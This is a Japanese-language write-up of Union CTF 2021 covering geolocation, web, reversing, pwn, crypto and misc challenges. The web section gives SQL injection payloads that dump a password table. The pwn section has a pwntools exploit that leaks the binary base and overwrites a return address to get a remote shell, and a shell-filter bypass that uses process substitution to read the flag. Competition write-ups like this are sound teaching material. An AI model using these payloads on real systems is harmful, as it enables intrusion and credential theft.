Union CTF 2021 Writeup
Union CTF に参加して Welcome, Feedback 以外の問題を解いた224チーム中41位でした。
解けた問題についてWriteupを書いていきます。
- Where in the World? (3) [GEOINT/misc 10pt 90solves]
- Where in the World? (5) [GEOINT/misc 10pt 142solves]
- Meet the Union Committee [Web 100pt 101solves]
- antistatic [Reversing 100pt 51solves]
- babyrarf [Pwn 100pt 37solves]
- Mordell primes [Crypto 100pt 50solves]
- bashlex [Misc 100pt 47solves]
- committee [Misc 304pt 23solves]
- 感想
Where in the World? (3) [GEOINT/misc 10pt 90solves]
この画像が撮られた場所を答える問題です。
「ARCO gas station」で調べると、アメリカで展開されているメジャー?なガソリンスタンドであることがわかります。
次に右下の画像にある(41 5-0104
という電話番号らしきものが使えそうですね。アメリカの電話番号の形式について調べてみる上3桁はエリアコードと呼ばれ地域ごとに割り振られているそうです。
「area code search」で検索するとhttps://www.allareacodes.com/area-code-lookup/が見つかるので、右側のリストにある41から始まる地名を順番にGoogle MapでARCOと合わせて検索して順次ストリートビューで確認します。
すると、San Franciscoの北から2番目のスタンドであることがわかります。
Mission Street, San Francisco, United States
Where in the World? (5) [GEOINT/misc 10pt 142solves]
Google画像検索にかけたらヒットしました。
Fuzhou, China
Meet the Union Committee [Web 100pt 101solves]
http://34.105.202.19:1336/
が渡され、adminのパスワードを手に入れろと言われます。
見てみると、会社のホームページ的なもので、Loginなどのフォームはありません。
社員の写真をクリックするとhttp://34.105.202.19:1336/?id={数字}
という社員の名前と情報が書いてあるページに飛びます。
とりあえず?id=1 OR 1=1 --
を送信すると全社員の名前が表示されました。SQLiですね。
?id='
を送信するとエラーを吐きました。
Traceback (most recent call last): File "unionflaggenerator.py", line 49, in do_GET cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: unrecognized token: "'"
SQLiteで動いてることがわかったので、PayloadsAllTheThingを参考に進めていきます。
カラムの型を揃えるため、1と''
を使っています。
?id=1 UNION SELECT 1,tbl_name,'' FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
でテーブルを見ます。
CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT)admin
?id=1 UNION SELECT 1,password,'' FROM users --
でパスワードを見ましょう。
RightBehindUadmindiamond69_hands420ilikesexpasswordpeter1union{uni0n_4ll_s3l3ct_n0t_4_n00b}winter2020
union{uni0n_4ll_s3l3ct_n0t_4_n00b}
antistatic [Reversing 100pt 51solves]
x86_64 ELFバイナリが渡されます。
実行しても「Ceci n'est pas une flag (フラグじゃないよ)」と言われるので、Cutterで見ていきます。
が、main関数には大した処理がありません。他の関数を見てみると、entry.init1に怪しそうな処理があります。
void entry.init1(void) { int64_t iVar1; char cVar2; int64_t in_FS_OFFSET; int64_t var_139h; int32_t var_130h; int32_t var_12ch; int64_t var_128h; char *s; int64_t var_118h; void *ptr; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); if (*(char *)0x13e3 != -0x34) { var_139h._1_4_ = 0; while (var_139h._1_4_ < 0x1000) { if (((*(char *)((int64_t)var_139h._1_4_ + 0x1000) == -0x34) && (*(char *)((int64_t)var_139h._1_4_ + 0x1001) != -2)) && (segment.LOAD1 != (code)0x0)) goto code_r0x000013c9; var_139h._1_4_ = var_139h._1_4_ + 1; } fopen("/proc/self/cmdline", 0x2008); fread(&ptr, 1, 0x100); var_128h = (int64_t)&ptr; do { iVar1 = var_128h + 1; cVar2 = *(char *)var_128h; var_128h = iVar1; } while (cVar2 != '\0'); stack0xfffffffffffffec4 = 0; while (stack0xfffffffffffffec4 < 0x14) { if ((uint8_t)((char)stack0xfffffffffffffec4 + 0x42U ^ *(uint8_t *)var_128h) != "7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[stack0xfffffffffffffec4]) { var_130h = 0; while (var_130h < 0x18) { putchar((var_130h + 0x42U ^ (uint32_t) (uint8_t)"7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[var_130h + 0x14]) & 0xff); var_130h = var_130h + 1; } exit(); } unique0x000017a0 = stack0xfffffffffffffec4 + 1; var_128h = var_128h + 1; } var_12ch = 0; while (var_12ch < 6) { putchar((var_12ch + 0x42U ^ (uint32_t)(uint8_t)"7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[var_12ch + 0x2c]) & 0xff); var_12ch = var_12ch + 1; } puts(iVar1); exit(0); } code_r0x000013c9: if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return; }
私は全部の処理を追おうとして無駄に時間を潰しました...肝心なのはこれだけです。
/proc/self/cmdline
を受け取っているvar_126h
が入力っぽい?stack0xfffffffffffffec4
がforのi
っぽい? (unique0x~はアセンブリで見たらstack0x~と同一でした)- ifの後にexitが呼ばれてるし
((uint8_t)((char)stack0xfffffffffffffec4 + 0x42U ^ *(uint8_t *)var_128h) != "7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%\"|g"[stack0xfffffffffffffec4])
でフラグかどうか判定されてるっぽい?
判定式がわかれば後は芋づる式に復元できます。(^
って+
より優先順位低いんですね...)
c = b'7--*(<+=z9?\x12,|\'0 `)U\x01&\',f)o,9?l=/<p$<6t3:6?S$/%"|g' bytes([i + 0x42 ^ c[i] for i in range(0x18)])
union{ct0rs_b3war3}
babyrarf [Pwn 100pt 37solves]
バイナリとソースコードが渡されます。
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> typedef struct attack { uint64_t id; uint64_t dmg; } attack; typedef struct character { char name[10]; int health; } character; uint8_t score; int read_int(){ char buf[10]; fgets(buf, 10, stdin); return atoi(buf); } void get_shell(){ execve("/bin/sh", NULL, NULL); } attack choose_attack(){ attack a; int id; puts("Choose an attack:\n"); puts("1. Knife\n"); puts("2. A bigger knife\n"); puts("3. Her Majesty's knife\n"); puts("4. A cr0wn\n"); id = read_int(); if (id == 1){ a.id = 1; a.dmg = 10; } else if (id == 2){ a.id = 2; a.dmg = 20; } else if (id == 3){ a.id = 3; a.dmg = 30; } else if (id == 4){ if (score == 0){ puts("l0zers don't get cr0wns\n"); } else{ a.id = 4; a.dmg = 40; } } else{ puts("Please select a valid attack next time\n"); a.id = 0; a.dmg = 0; } return a; } int main(){ character player = { .health = 100}; character boss = { .health = 100, .name = "boss"}; attack a; int dmg; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); srand(0); puts("You are fighting the rarf boss!\n"); puts("What is your name?\n"); fgets(player.name, 10, stdin); score = 10; while (score < 100){ a = choose_attack(); printf("You choose attack %llu\n", a.id); printf("You deal %llu dmg\n", a.dmg); boss.health -= a.dmg; dmg = rand() % 100; printf("The boss deals %llu dmg\n", dmg); player.health -= dmg; if (player.health > boss.health){ puts("You won!\n"); score += 1; } else{ puts("You lost!\n"); score -= 1; } player.health = 100; boss.health = 100; } puts("Congratulations! You may now declare yourself the winner:\n"); fgets(player.name, 48, stdin); return 0; }
ゲームプログラムのようです。
- 名前を入力する
- ゲームのループがあり、
score
を100以上にすると抜けられる - ループ後に再度名前を入力できる
score
はunsignedなので負け続けて-1になればscore < 100
の条件は抜けられます。
また、3のfgetsでBuffer Over Flowがあります。No canaryなのでreturn addressの書き替えができそうです。
しかし、PIE enabledなのでget_shell
のアドレスを知るにはbinary baseが必要です。(言い方が合ってるのか分からない)
適当に入力して調べていると、4の選択肢を連打していたら負けた時に異常な値が出ました。
l0zers don't get cr0wns You choose attack 94620740596944 You deal 140726960122848 dmg The boss deals 22 dmg You lost!
ソースコードを見てみると、score=0で4を選択するとcr0wnsは使えないように処理されていますがその代わりとなるa
の値を設定していないので、初期化前の値が渡されてしまうことがわかります。
gdbで初期化前の値を確認してみると、a.id
に__libc_csu_init
のアドレスが入っていることがわかります。binary leakできたのでbinary baseを計算すればget_shellのアドレスがわかります。BOFでreturn addressをget_shellで書き替えてやりましょう。
from pwn import * context.terminal = ["wterminal"] context.arch = "amd64" file = "./babyrarf" binary = ELF(file) # io = process(file) # io = gdb.debug(file, "\n".join(["b *main+479", "c"])) io = remote("35.204.144.114", 1337) score = 10 def attack(i): io.sendlineafter(b"4. A cr0wn\n\n", str(i)) if score == 0 and i == 4: io.recvline() io.recvline() pl_id = int(io.recvline().split()[3]) pl_dmg = int(io.recvline().split()[2]) io.recvline() if io.recvline().split()[1] == b"won!": result = 1 else: result = -1 return pl_id, pl_dmg, result io.recv() io.sendline("hoge") while score != 0: _, _, result = attack(1) score += result pl_id, pl_dmg, result = attack(4) log.info(f"leak: {pl_id:x}") log.info(f"leak: {pl_dmg:x}") binary.address = pl_id - binary.sym["__libc_csu_init"] log.info(f"bin: {binary.address:x}") score += result if 0 <= score: while 0 <= score: _, _, result = attack(1) score += result io.recv() payload = b"A" * 0x28 + p64(binary.sym["get_shell"]) io.sendline(payload) io.interactive()
(クソコードなのはご愛嬌)
union{baby_rarf_d0o_d00_do0_doo_do0_d0o}
Mordell primes [Crypto 100pt 50solves]
from Crypto.Util.number import bytes_to_long from secrets import k, FLAG assert k < 2^128 assert FLAG.startswith(b'union{') E = EllipticCurve(QQ,[0,1,0,78,-16]) P = E(1,8) Q = k*P R = (k+1)*P p = Q[0].numerator() q = R[0].numerator() assert is_prime(p) assert is_prime(q) e = 0x10001 N = p*q m = bytes_to_long(FLAG) c = pow(m,e,N) print(f'N = {N}') print(f'c = {c}')
画面を圧迫するので数値を載せるか毎回悩む (今のところは読みやすさより完全性を重視しています)
N = 5766655232619116707100300967885753418146107012385091223647868658490220759057780928028480463319202968587922648810849492353260432268633862603886585796452077987022107158189728686203729104591090970460014498552122526631361162547166873599979607915485144034921458475288775124782641916030643521973787176170306963637370313115151225986951445919112900996709332382715307195702225692083801566649385695837056673372362114813257496330084467265988611009917735012603399494099393876040942830547181089862217042482330353171767145579181573964386356108368535032006591008562456350857902266767781457374500922664326761246791942069022937125224604306624131848290329098431374262949684569694816299414596732546870156381228669433939793464357484350276549975208686778594644420026103742256946843249910774816227113354923539933217563489950555104589202554713352263020111530716888917819520339737690357308261622980951534684991840202859984869712892892239141756252277430937886738881996771080147445410272938947061294178392301438819956947795539940433827913212756666332943009775475701914578705703916156436662432161 c = 5724500982804393999552325992634045287952804319750892943470915970483096772331551016916840383945269998524761532882411398692955440900351993530895920241101091918876067020996223165561345416503911263094097500885104850313790954974285883830265883951377056590933470243828132977718861754767642606894660459919704238136774273318467087409260763141245595380917501542229644505850343679013926414725687233193424516852921591707704514884213118566638296775961963799700542015369513133068927399421907223126861526282761409972982821215039263330243890963476417099153704260378890644297771730781222451447236238246395881031433918137098089530325766260576207689592620432966551477624532170121304029721231233790374192012764855164589022421648544518425385200094885713570919714631967210149469074074462611116405014013224660911261571843297746613484477218466538991573759885491965661063156805466483257274481271612649728798486179280969505996944359268315985465229137237546375405105660181489587704128670445623442389570543693177429900841406620324743316472579871371203563098020011949005568574852024281173097996529
楕円曲線暗号を全く学んでなかったしそもそもCryptoが苦手なのでかなり苦戦しました。
問題名の「Mordell」で検索してみるとモーデルの定理というのを見つけました。
言ってることは何も理解できませんでしたが、有理点と無限遠点のなす何かの群(?)が有限生成であることはわかりました。
よくわからないけど有限生成って言ってるので総当たりだ!!!!!!
from Crypto.Util.number import bytes_to_long E = EllipticCurve(QQ,[0,1,0,78,-16]) P = E(1,8) Q = P R = 2*P for k in range(1, 1000000): print(k) Q += P R += P p = Q[0].numerator() q = R[0].numerator() if is_prime(p) and is_prime(q): print(p, q)
おら!!!!!!!!!!!!
1 2 3 1060254843774241 1494010827547891911505201 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 17922287659013798442573402576339735849131128752056341575054197930940787246564949598938335376226031527888079106524104711777865485173232825060793232006924673971381527349154104858168561572160671487344179035618322434925270004055702274152607679042184080640691186862346789874863888075906696781653068925076057856953267732589112379785385330133335551948122941721689924982720304114154248001316403957518439002843731516224614663616879830159618638468356727817020281211416957107830839823313351269768071723444073187217264382241 321758881585568514261634654250659748446523344340018150116507881162229972612305752050769920205286159885408041096234020476384465546455399488962391147202783501647132062306552683122288085406774100836357606232928583823171387318802519851292578667850958931105883639657827128991608008678002672898209104966759877701142222567045731170569904901288149109710924232312743086496550108283101792455008495260797284403597049213314008266224464841992631110312209047538885210993299388742666622876359275887233585307056520793956976592587030842635602236647635291295676711079408341121
やったぜ。
from Crypto.Util.number import long_to_bytes p = 17922287659013798442573402576339735849131128752056341575054197930940787246564949598938335376226031527888079106524104711777865485173232825060793232006924673971381527349154104858168561572160671487344179035618322434925270004055702274152607679042184080640691186862346789874863888075906696781653068925076057856953267732589112379785385330133335551948122941721689924982720304114154248001316403957518439002843731516224614663616879830159618638468356727817020281211416957107830839823313351269768071723444073187217264382241 q = 321758881585568514261634654250659748446523344340018150116507881162229972612305752050769920205286159885408041096234020476384465546455399488962391147202783501647132062306552683122288085406774100836357606232928583823171387318802519851292578667850958931105883639657827128991608008678002672898209104966759877701142222567045731170569904901288149109710924232312743086496550108283101792455008495260797284403597049213314008266224464841992631110312209047538885210993299388742666622876359275887233585307056520793956976592587030842635602236647635291295676711079408341121 N = 5766655232619116707100300967885753418146107012385091223647868658490220759057780928028480463319202968587922648810849492353260432268633862603886585796452077987022107158189728686203729104591090970460014498552122526631361162547166873599979607915485144034921458475288775124782641916030643521973787176170306963637370313115151225986951445919112900996709332382715307195702225692083801566649385695837056673372362114813257496330084467265988611009917735012603399494099393876040942830547181089862217042482330353171767145579181573964386356108368535032006591008562456350857902266767781457374500922664326761246791942069022937125224604306624131848290329098431374262949684569694816299414596732546870156381228669433939793464357484350276549975208686778594644420026103742256946843249910774816227113354923539933217563489950555104589202554713352263020111530716888917819520339737690357308261622980951534684991840202859984869712892892239141756252277430937886738881996771080147445410272938947061294178392301438819956947795539940433827913212756666332943009775475701914578705703916156436662432161 c = 5724500982804393999552325992634045287952804319750892943470915970483096772331551016916840383945269998524761532882411398692955440900351993530895920241101091918876067020996223165561345416503911263094097500885104850313790954974285883830265883951377056590933470243828132977718861754767642606894660459919704238136774273318467087409260763141245595380917501542229644505850343679013926414725687233193424516852921591707704514884213118566638296775961963799700542015369513133068927399421907223126861526282761409972982821215039263330243890963476417099153704260378890644297771730781222451447236238246395881031433918137098089530325766260576207689592620432966551477624532170121304029721231233790374192012764855164589022421648544518425385200094885713570919714631967210149469074074462611116405014013224660911261571843297746613484477218466538991573759885491965661063156805466483257274481271612649728798486179280969505996944359268315985465229137237546375405105660181489587704128670445623442389570543693177429900841406620324743316472579871371203563098020011949005568574852024281173097996529 e = 0x10001 d = pow(e, -1, (p-1)*(q-1)) m = pow(c, d, N) print(long_to_bytes(m))
union{s34rch1ng_thr0ugh_r4tion4l_p01nts}
bashlex [Misc 100pt 47solves]
#!/usr/bin/env python3 import bashlex import os import subprocess import sys ALLOWED_COMMANDS = ['ls', 'pwd', 'id', 'exit'] def validate(ast): queue = [ast] while queue: node = queue.pop(0) if node.kind == 'command': first_child = node.parts[0] if first_child.kind == 'word': if first_child.parts: print(f'Forbidden top level command') return False elif first_child.word.startswith(('.', '/')): print('Path components are forbidden') return False elif first_child.word.isalpha() and \ first_child.word not in ALLOWED_COMMANDS: print('Forbidden command') return False elif node.kind == 'commandsubstitution': print('Command substitution is forbidden') return False elif node.kind == 'word': if [c for c in ['*', '?', '['] if c in node.word]: print('Wildcards are forbidden') return False elif 'flag' in node.word: print('flag is forbidden') return False # Add node children if hasattr(node, 'parts'): queue += node.parts elif hasattr(node, 'list'): # CompoundNode queue += node.list return True while True: inp = input('> ') try: parts = bashlex.parse(inp) print(parts) valid = True for p in parts: if not validate(p): valid = False except: print('ERROR') continue if not valid: print('INVALID') continue subprocess.call(['bash', '-c', inp])
- コマンドが
ls pwd id exit
しか使えない - substitution(
$()
や``
)が使えない - ワイルドカードが使えず、またflagという文字列は使えない
だいたいこんな感じのシェルをバイパスしろという問題です。
とても苦戦しましたが、リダイレクト周りを調べている最中にプロセス置換を思い出しました。
これはprocesssubstitution
に分類されるようで、substitution
の制限には引っ掛かりません。
これでコマンドの制限は無くなりました。flagはflとag分けて結合すればいいでしょう。
A=/home/bashlex/fl; B=ag.txt; ls >(cat ${A}${B})
union{chomsky_go_lllllllll1}
終わった後に他の解法を見たら簡単すぎて泣きました...
- 実は
elif first_child.word.isalpha() and
の部分で、アルファベットのみで構成されているコマンドのみ制限がかかるようになっている。そのためpython3、bin/shなどでバイパスできる。 ``command``
(これはbashlexのバグ?)
よくコードを、読もう!
committee [Misc 304pt 23solves]
.git, log.txt, flag.txtが渡されます。
$ cat flag.txt union{*******3*********_************r****d**********} $ cat ../log.txt commit ff26e028a3faebd461c4cc0265d0f7b9ca049feb Author: John J. Johnson <jojojo@legal.committee> Date: Wed Jan 27 12:45:00 2021 +0000 Proceedings of the flag-deciding committee: 22, 23, 25 commit a23b600c786b05623b765b4f0d7a3f52df63cdd5 Author: Peter G. Anderson <pepega@legal.committee> Date: Fri Dec 18 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 7, 9, 13 commit 6c35a04d1fdb8eedbbc9821b4c23b610bd3b4488 Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee> Date: Fri Nov 27 12:00:00 2020 +0000 Proceedings of the flag-deciding committee: 44, 45, 46 commit 8984f8eac466cbf86a6aa6b0480be53a86d8108c Author: Pamela W. Mathews <pammy.emm@legal.committee> Date: Thu Oct 29 12:00:00 2020 +0000 Proceedings of the flag-deciding committee: 38, 39, 40 commit 9b5ee533d17a9c0ff87d22bf0a433a621fbd55bf Author: Robert J. Lawful <boblaw@legal.committee> Date: Mon Oct 19 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 41, 42, 43 commit 8a951bd3e56432dd689e83034c1ee7e21ae6ee56 Author: Robert S. Storms <tempest@legal.committee> Date: Fri Sep 11 11:45:00 2020 +0000 Proceedings of the flag-deciding committee: 1, 3, 4 commit 59c9f723bff0952f6589157f3ef8e1858d01bfdc Author: John J. Johnson <jojojo@legal.committee> Date: Fri Aug 28 12:45:00 2020 +0000 Proceedings of the flag-deciding committee: 19, 20, 21 commit 45ec9aba969782c72d18018126c2d9aeffde28b7 Author: Peter G. Anderson <pepega@legal.committee> Date: Wed Aug 12 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 17, 24, 37 commit 30240b427e09aa75f034527e91aaa1fbc1b243ee Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee> Date: Tue Jul 28 12:00:00 2020 +0000 Proceedings of the flag-deciding committee: 28, 30, 35 commit 6356e3d17ca6b7515c67cfe0a8712d1e8b57d713 Author: Pamela W. Mathews <pammy.emm@legal.committee> Date: Wed Jul 1 12:45:00 2020 +0000 Proceedings of the flag-deciding committee: 10, 11, 12 commit a6880ed0c8bb30263bd0a2a631eb9bf50dc72344 Author: Robert J. Lawful <boblaw@legal.committee> Date: Thu Jun 11 12:00:00 2020 +0000 Proceedings of the flag-deciding committee: 2, 5, 6 commit 9dbf985598f5ef000ba2e8856c6bec12435f0ef8 Author: Robert S. Storms <tempest@legal.committee> Date: Tue May 12 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 14, 15, 16 commit d9af34e8a8ca6a24790d20262dafac71c3ddc980 Author: John J. Johnson <jojojo@legal.committee> Date: Fri May 1 12:00:00 2020 +0000 Proceedings of the flag-deciding committee: 26, 27, 29 commit cb18d2984f9e99e69044d18fd3786c2bf6425733 Author: Peter G. Anderson <pepega@legal.committee> Date: Tue Apr 14 12:00:00 2020 +0000 Proceedings of the flag-deciding committee: 32, 33, 34 commit dca4ca5150b82e541e2f5c42d00493ba8d4aa84a Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee> Date: Mon Mar 23 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 8, 31, 36 commit c3e6c8ea777d50595a8b288cbbbd7a675c43b5df Author: Pamela W. Mathews <pammy.emm@legal.committee> Date: Fri Mar 13 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 18 commit 08e1f0dd3b9d710b1eea81f6b8f76c455f634e87 Author: Robert J. Lawful <boblaw@legal.committee> Date: Wed Mar 4 12:00:00 2020 +0000 Initial formation of the flag-deciding committee. $ git log commit dca4ca5150b82e541e2f5c42d00493ba8d4aa84a (HEAD -> master) Author: Christopher L. Hatch <crisscross.the.hatch@legal.committee> Date: Mon Mar 23 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 8, 31, 36 commit c3e6c8ea777d50595a8b288cbbbd7a675c43b5df Author: Pamela W. Mathews <pammy.emm@legal.committee> Date: Fri Mar 13 12:30:00 2020 +0000 Proceedings of the flag-deciding committee: 18 commit 08e1f0dd3b9d710b1eea81f6b8f76c455f634e87 Author: Robert J. Lawful <boblaw@legal.committee> Date: Wed Mar 4 12:00:00 2020 +0000 Initial formation of the flag-deciding committee.
git logでは3 commitしかありませんでしたが、log.txtはそれ以降のcommitが記録されています。
.gitを見ても特に変なところはありませんでした。log.txtのみから変更内容を推測する必要があります。
3文字ずつ変更していて変更場所もわかっているので、変更内容を総当たりしてcommitのハッシュ値と照らし合わせれば変更内容を確定できたりできないでしょうか。
commitのハッシュ値はどう計算されるのかを調べると、Gitの仕組みという記事が見つかりました。
この記事を元にcommitのハッシュ値を計算して総当たりします。
(parent_hash, log, flag, 変更箇所のインデックスは手動で変更しました。次のプログラムは最後のcommitを復元するものです。)
from hashlib import sha1 import datetime import re parent_hash = "a23b600c786b05623b765b4f0d7a3f52df63cdd5" committer = "Flag-deciding Committee <committee@legal.committee>" log = """ commit ff26e028a3faebd461c4cc0265d0f7b9ca049feb Author: John J. Johnson <jojojo@legal.committee> Date: Wed Jan 27 12:45:00 2021 +0000 Proceedings of the flag-deciding committee: 22, 23, 25 """ answer_hash, author, date, message = re.match("\ncommit (.*?)\nAuthor: (.*?)\nDate: (.*?)\n\n (.*?)\n", log).groups() time = int(datetime.datetime.strptime(date, '%a %b %d %H:%M:%S %Y %z').timestamp()) def calc_obj_hash(obj_type, obj): s = b"%b %d\x00%b" % (obj_type.encode(), len(obj), obj) return sha1(s) def calc_commit_hash(blob, time): tree = b"100644 flag.txt\x00%b" % calc_obj_hash('blob', blob).digest() commit = f"""tree {calc_obj_hash('tree', tree).hexdigest()} parent {parent_hash} author {author} {time} +0000 committer {committer} {time} +0000 {message} """ return calc_obj_hash('commit', commit.encode()).hexdigest() flag = list(b"union{c0mm1tt33_d3c1deD_bu7**H*_d3t3rm1n3d_6a7c2619a}\n") for c1 in range(33, 127): for c2 in range(33, 127): for c3 in range(33, 127): flag[6+22-1] = c1 flag[6+23-1] = c2 flag[6+25-1] = c3 blob = bytes(flag) # print(blob) commit_hash = calc_commit_hash(blob, time) if commit_hash == answer_hash: print(blob, commit_hash) exit()
union{c0mm1tt33_d3c1deD_bu7_SHA_d3t3rm1n3d_6a7c2619a}
感想
最低点にまで落ちなかった問題を一つ解けたので満足です。ただ、Cryptoで最低点に落ちた問題がもう2問あったのでそこを拾えていればという気持ちはあります。Cryptoにも慣れたいですね。
しかしWeb/CryptoのCrownAirも100点問題に落ちてたし、強者が集うCTFは怖いですね...